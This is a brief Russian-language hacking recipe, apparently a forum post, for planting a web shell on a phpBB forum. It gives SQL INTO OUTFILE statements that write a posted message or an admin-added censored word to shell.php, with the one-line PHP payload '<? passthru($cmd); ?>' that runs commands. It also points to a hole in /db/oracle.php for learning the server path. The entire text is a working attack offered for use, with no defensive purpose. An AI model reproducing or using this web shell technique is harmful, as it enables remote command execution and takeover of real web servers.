SELECT post_text FROM phpbb_posts_text WHERE post_id =1234 INTO OUTFILE "/full/path/to/rw/dir/shell.php"

смотрим номер нашего поста, подставляем в post_id а запостить нужно
<? passthru($cmd); ?>

путь можно узнать дырой в скрипте /db/oracle.php

SELECT word FROM phpbb_words WHERE word_id = 1 INTO OUTFILE "/full/path/to/rw/dir/shell.php"

добавляем в админке наше слово (сами знаете какое) и восстанавливаем базу